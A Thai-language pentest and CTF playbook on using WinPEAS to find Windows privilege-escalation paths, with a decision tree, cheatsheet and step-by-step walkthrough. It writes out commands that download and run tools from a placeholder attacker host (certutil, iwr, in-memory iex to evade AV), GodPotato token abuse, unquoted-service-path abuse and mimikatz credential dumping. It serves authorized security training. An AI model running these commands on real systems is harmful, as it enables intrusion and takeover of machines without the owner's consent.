คลัง
playbooks

WinPEAS Playbook

Playbook สำหรับ WinPEAS — script enumeration อัตโนมัติของ Windows privesc แบ่งตามระดับ พร้อม workflow การอ่านผล, decision tree (เจอ vector ไหนทำอะไรต่อ), cheatsheet และตัวอย่าง (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

BeginnerIntermediateAdvanced#winpeas#windows#privesc#playbook#enumeration#peass#ctf

1. Beginner — รัน WinPEAS

WinPEAS สแกน Windows ทุกด้านอัตโนมัติแล้ว highlight ช่องทาง privesc ด้วยสี มีทั้ง exe/bat/ps1 — เลือกตามที่รันได้บนเป้าหมาย

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น
ส่งเข้าเป้าหมาย + รันWindows
# download (จากเครื่องเรา python3 -m http.server 80)
certutil -urlcache -f http://<ATTACKER>/winPEASx64.exe wp.exe
powershell -c "iwr http://<ATTACKER>/winPEASx64.exe -OutFile wp.exe"

# รัน
.\wp.exe
.\wp.exe log              # บันทึกผล

# in-memory ผ่าน PowerShell (ไม่แตะ disk)
iex (iwr http://<ATTACKER>/winPEAS.ps1 -UseBasicParsing)
certutil/iwr ส่งไฟล์; .ps1 รัน in-memory เนียนกว่า; มี .bat ถ้ารัน exe ไม่ได้

2. Intermediate — อ่านผลตามสี

สีความหมาย
แดงพื้นเหลืองน่าสนใจสูงสุด — ดูก่อน!
แดงควรตรวจ
เขียวปกติ/พบทั่วไป
โฟกัส แดงพื้นเหลือง ก่อน — เป็นสิ่งที่ WinPEAS เน้นว่าน่าจะ privesc ได้

3. Advanced — ส่วนผลที่ต้องเจาะ

  • Token privileges: SeImpersonate → Potato; SeBackup/SeDebug → dump/inject
  • Services: unquoted path, weak permission (แก้ binPath), modifiable binary
  • Registry: AlwaysInstallElevated, autorun ที่เขียนได้, weak reg perm
  • Scheduled Tasks: task รันเป็น SYSTEM ที่เราแก้ binary ได้
  • Credentials: stored creds, Credential Manager, unattend.xml, registry password
  • Applied/missing patches: สำหรับ kernel/MS exploit

4. Decision Tree — เจอ vector แล้วทำอะไร

จากผล WinPEAS สู่ SYSTEM
รัน WinPEAS เสร็จ
ไล่ดูส่วนแดงพื้นเหลืองก่อน
เจอ vector แบบไหน?
SeImpersonatePotato → SYSTEM
service เขียนได้Service Abuse
unquoted pathวาง exe → SYSTEM
AlwaysInstallElevatedMSI → SYSTEM
ยังไม่เจอ?
credential เก็บไว้pass-the-hash / reuse
DLL ที่ขาด+เขียนได้DLL Hijacking
missing patchkernel/MS exploit
ได้ SYSTEM / Administrator

5. Workflow แนะนำ

  1. 1ส่ง WinPEAS เข้าเป้าหมาย (certutil/iwr) แล้วรัน
  2. 2เริ่มที่ whoami /priv ควบคู่ (SeImpersonate = Potato ทันที)
  3. 3ไล่ส่วนแดงพื้นเหลือง: service / registry / task
  4. 4เจอ service misconfig → accesschk ยืนยัน → abuse
  5. 5credential ที่เจอ → ลอง reuse / pass-the-hash
  6. 6ทางเลือกท้าย: missing patch → kernel/MS exploit

6. Cheatsheet

  • ส่ง: certutil -urlcache -f http://IP/wp.exe wp.exe
  • รัน: .\wp.exe / in-memory iex(iwr ...ps1)
  • อ่านสี: แดงพื้นเหลือง = น่าสนใจสุด
  • token: SeImpersonate → Potato; SeBackup → dump SAM
  • service: unquoted / weak perm → SYSTEM
  • registry: AlwaysInstallElevated → MSI → SYSTEM

7. ตัวอย่างโจทย์

service account: WinPEAS ส่วน Token privileges ขึ้น SeImpersonatePrivilege: Enabled (พื้นแดง) → ดาวน์โหลด GodPotato → GodPotato-NET4.exe -cmd "cmd /c whoami" → nt authority\system

unquoted path: WinPEAS ส่วน Services ขึ้น path มีช่องว่างไม่มี quote + folder เขียนได้ → วาง exe ชื่อตรงคำแรก → restart service → payload รันเป็น SYSTEM

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติได้ shell/RDP ระดับ user ธรรมดาบนเครื่อง Windows เป้าหมายแล้ว มีแค่ Kali เป็นเครื่องโจมตี ทำตามนี้ทีละขั้นเพื่อไต่สิทธิ์เป็น SYSTEM

  1. 1บน Kali เตรียมไฟล์: เช็คมีไหม `locate winPEAS` หรือโหลดจาก GitHub `git clone https://github.com/peass-ng/PEASS-ng`
  2. 2เปิด web server ฝั่ง Kali: `python3 -m http.server 80` ที่โฟลเดอร์มี winPEASx64.exe
  3. 3บนเครื่อง target ดาวน์โหลดผ่าน certutil (built-in ทุกเครื่อง Windows): `certutil -urlcache -f http:///winPEASx64.exe wp.exe`
  4. 4ถ้า certutil ถูกบล็อก (AV/AMSI) ลอง PowerShell in-memory แทน: `iex (iwr http:///winPEAS.ps1 -UseBasicParsing)`
  5. 5รันไฟล์: `.\wp.exe` หรือถ้าต้องเก็บผล `.\wp.exe log`
  6. 6ระหว่างรอ ให้เช็คคู่ขนานด้วยมือ: `whoami /priv` — ถ้าเห็น SeImpersonatePrivilege = Enabled คือช่องทางลัด (Potato)
  7. 7อ่านผล WinPEAS — ไล่ดูส่วน 'พื้นหลังแดงเหลือง' ก่อน (น่าสนใจสุด)
  8. 8เจอ SeImpersonate → โหลด GodPotato มาใช้ทันที (ดูขั้นตอนในหัวข้อ Token Abuse)
  9. 9เจอ service เขียนได้/unquoted path → เทียบกับ accesschk แล้ว abuse
  10. 10ไม่เจออะไรชัด → ดู registry (AlwaysInstallElevated), scheduled tasks, credential ที่เก็บไว้
  11. 11ยังตัน → ตรวจ patch level เทียบ known CVE (Watson/Sherlock) เป็นทางเลือกสุดท้าย
จับมือรัน WinPEAS สู่ SYSTEM
เตรียม winPEAS บน Kali
git clone PEASS-ng หรือ locate winPEAS
เปิด http server + ส่งไฟล์เข้า target
certutil -urlcache -f http://KALI/wp.exe wp.exe
✅ ดาวน์โหลดสำเร็จ→ รันไฟล์
❌ ถูก AV บล็อก/certutil ใช้ไม่ได้→ ลอง PowerShell in-memory (iex iwr ...ps1)
รัน .\wp.exe
เช็คคู่ขนาน whoami /priv
เจอ vector ชัดไหม?
✅ SeImpersonate Enabled→ ใช้ Potato ทันที
✅ service เขียนได้/unquoted path→ Service Abuse
❌ ไม่เจอช่องชัด→ ไล่ registry/scheduled task/credential ต่อ
ยังไม่เจอ?
✅ เจอ credential เก็บไว้→ pass-the-hash/reuse
❌ ไม่เจอเลย→ เช็ค missing patch → kernel/MS exploit
ได้ SYSTEM/Administrator
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
เตรียม winPEASlocate winPEAS (Kali)git clone PEASS-nglolbas-project.github.io
ส่งไฟล์เข้า targetpython3 -m http.server--
ดาวน์โหลดบน target (built-in)certutil, powershell iwr--
เช็ค privilege ปัจจุบันwhoami /priv--
ยึด SYSTEM จาก SeImpersonate-GodPotato/PrintSpoofer (github)-
ตรวจ service permissionaccesschk.exe (Sysinternals)--
ตรวจ missing patch/CVE-Watson, Sherlockcve.mitre.org
dump credentialmimikatz--
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) เจอ SeImpersonate แต่ Potato ใช้ไม่ได้ (patch แล้ว) → ลองตัวอื่นใน Token Abuse (RoguePotato/PrintSpoofer) (2) เจอ service แปลกแต่ไม่แน่ใจสิทธิ์ → ไป Services ดูวิธีตรวจ permission ละเอียด (3) เจอ path มีช่องว่างไม่มี quote → ไป Unquoted Service Path (4) ไม่เจอ vector เลยทั้งที่มี domain join → ลองดูว่ามี credential ให้ต่อยอดไป BloodHound Playbook แทน

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้